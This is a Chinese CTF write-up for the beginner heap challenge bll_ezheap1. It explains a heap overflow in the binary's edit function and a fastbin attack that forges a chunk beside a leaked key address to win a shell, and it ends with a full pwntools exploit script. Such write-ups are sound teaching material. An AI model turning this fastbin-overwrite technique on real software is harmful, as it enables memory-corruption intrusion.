0x01 前言:
题型是一个利用堆溢出来实现Fastbin Attack的题啊,十分适合入门理解,孩子啃得很香。
原题目是PolarCTF2025春季个人挑战赛的bll_ezheap1,一道入门堆题。
记得堆题上来就要patch!版本之间会有些莫名其妙的差异,很多情况下会导致你本地打不通。
0x02 patch 一下:
貌似小版本之间的区别是没有的,这里因为找不到太过远古的ubuntu16的版本,就选择了ubuntu16.04,在glibc-all-in-one中可以找到: 2.23-0ubuntu11.3_amd64
题目没给怎么办?总有方法泄露的
1 2 3 4
| ldd pwn2 linux-vdso.so.10x00007ffce117c000 libc.so.6 => /home/liiinkle/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.60x00007f592fc00000 /home/liiinkle/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so => /lib64/ld-linux-x86-64.so.20x00007f593027a000
|
patch完之后正式开始
0x03 分析一下
先checksec:
Canary, nx, pie 全开。但是不要紧,我们不是在做栈溢出。上ida看看:
题看起来都是这个样子,一个菜单来实现一些功能,分别是创建堆,编辑堆,删除堆。
不难看到输入为5的时候会先输出一个地址,然后进行判断,满足条件则getshell,不满足也不会退出,重新回到选择菜单这里。看起来是通过一些特殊手段往给出的地址上写入这个0xABCDEF
我们先看看他的各个功能的实现:
数据读取函数:
没什么异常,看看编辑堆:
可以看到没有对输入长度做检测,说明存在堆溢出漏洞,再看看删除:
free了之后有对索引进行清零操作,所以没得UAF(虽然我还不会)。
0x04 堆溢出如何利用?
所以还是要利用这个堆溢出来进行 Fastbin攻击,首先我们得建一个很小的堆,方便我们利用堆溢出来写下一个chunk的内容,实际上我们一共只需要两个chunk,第一个是很小的,第二个符合fastbin的大小即可。
类似这样的结构,然后简单讲讲总体的流程,上面说到需要两个chunk,申请完后我们需要先把第二个chunk给free掉,这样它就会出现在fastbin中。然后通过堆溢出,从第一个chunk写到第二个堆上的数据(这时第二个chunk已被free)
修改第二个堆上的fd地址,把fd修改成key前面的位置(因为需要留位置给pre_size和size),凭空营造一个假的被free了的chunk。
接着我们通过连续创建两次堆,把这两个在fastbins上的两个堆给申请回来(第一个是我们一开始free掉的,第二个是因为我们覆写了前面的堆的fd指针,所以系统认为fastbins上有两个被free的chunk)
第二个申请的堆实际上是建立在key附近的,这时后我们就可以通过编辑堆来往key上写数据,最后getshell
0x05 gdb环节!
需要申请的堆大小具体是多少呢?
还需要动调看看,观测一下key那边的情况再说:
1 2 3 4 5 6 7
| def shell(): sa('choice:\n',b'5')
shell() ru(':') key_addr=int(r(14),16) leak('key_addr')
|
接收一下key的地址,然后开gdb:
这里选择查看对应地址的-0x20的位置。我们希望往key这个地址上写入数据,必然要留位置给prev_size和size,一共(0x8+0x8)字节所以这里选择看看-0x20上有没有适合的:
正好有个7f比较适合,所以我们在创建第二个堆块的时候可以申请0x60大小的堆块,因为堆的特性,会加上chunk头这些,然后会自动对齐,我们可以简单创建一个试试看,这里顺便把各个功能集成起来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| def add_chunk(index,size): sa('choice:\n',b'1') sa('index:\n',str(index)) sa('size:\n',str(size))
def free(index): sa('choice:\n',b'3') sa('index:\n',str(index))
def edit_chunk(index,content): sa('choice:\n',b'2') sa('index:\n',str(index)) sa('length:\n',str(len(content))) sa('content:',content)
def shell(): sa('choice:\n',b'5')
add_chunk(0,0x10) add_chunk(1,0x60)
|
可以看到这个我们创建的堆块实际比我们输入的大小要大。回到key-0x20,因为我们要造一个类似这样的结构:
所以要选一个好位置,让7f处于图上那样的位置,简单调整一下:
chunk头的位置还是尽量往上选,因为没限制输出长度,所以不必担心写不到,最后选了key-0x1f的位置。接下来先是free掉chunk1,然后编辑chunk0,利用堆溢出往被free的chunk1上写,改写掉chunk1的fd指针,注意原本chunk1的prev_size位和size位保持原状:

1 2
| payload=p64(0)*3+p64(0x71)+p64(key_addr-0x1f) edit_chunk(0,payload)
|
编辑完之后我们可以看看fastbins:
可以看到已经有两个fastbins了,接下来我们只需要分别将这两个堆块申请回来就行:
1 2
| add_chunk(1,0x60) add_chunk(4,0x60)
|
注意fastbins机制,大小要符合要求接下来编辑chunk4,先随便输入点东西看看输入的起始地址在哪里:
1 2
| payload1=b'a'*30 edit_chunk(4,payload1)
|
用八个字节对齐的角度来看:
我们的输入的起点其实是09c+1,也就是说我们需要填入15个垃圾数据,接着填入 0xABCDEF
即可:
1 2 3
| payload1=b'a'*15+p64(0xABCDEF) edit_chunk(4,payload1) shell()
|
到这里就已经getshell了
0x06 EXP已经写好了,端上来吧
放个完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from pwn import * from ctypes import * from struct import pack
context(log_level = 'debug', arch = 'amd64', os = 'linux')
choice = 0 if choice: port=2123 buu='node5.buuoj.cn' nss='node4.anna.nssctf.cn' polar='1.95.36.136' utctf='challenge.utctf.live' p = remote(polar,port) else: p = process('/mnt/c/Users/Z2023/Desktop/pwn2')
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def debug(cmd=''): if choice==1: return gdb.attach(p,cmd) pause()
def add_chunk(index,size): sa('choice:\n',b'1') sa('index:\n',str(index)) sa('size:\n',str(size))
def free(index): sa('choice:\n',b'3') sa('index:\n',str(index))
def edit_chunk(index,content): sa('choice:\n',b'2') sa('index:\n',str(index)) sa('length:\n',str(len(content))) sa('content:',content)
def shell(): sa('choice:\n',b'5')
shell() ru(':') key_addr=int(r(14),16) leak('key_addr')
add_chunk(0,0x10) add_chunk(1,0x60)
free(1)
payload=p64(0)*3+p64(0x71)+p64(key_addr-0x1f) edit_chunk(0,payload)
add_chunk(1,0x60) add_chunk(4,0x60)
payload1=b'a'*15+p64(0xABCDEF) edit_chunk(4,payload1) shell()
itr()
|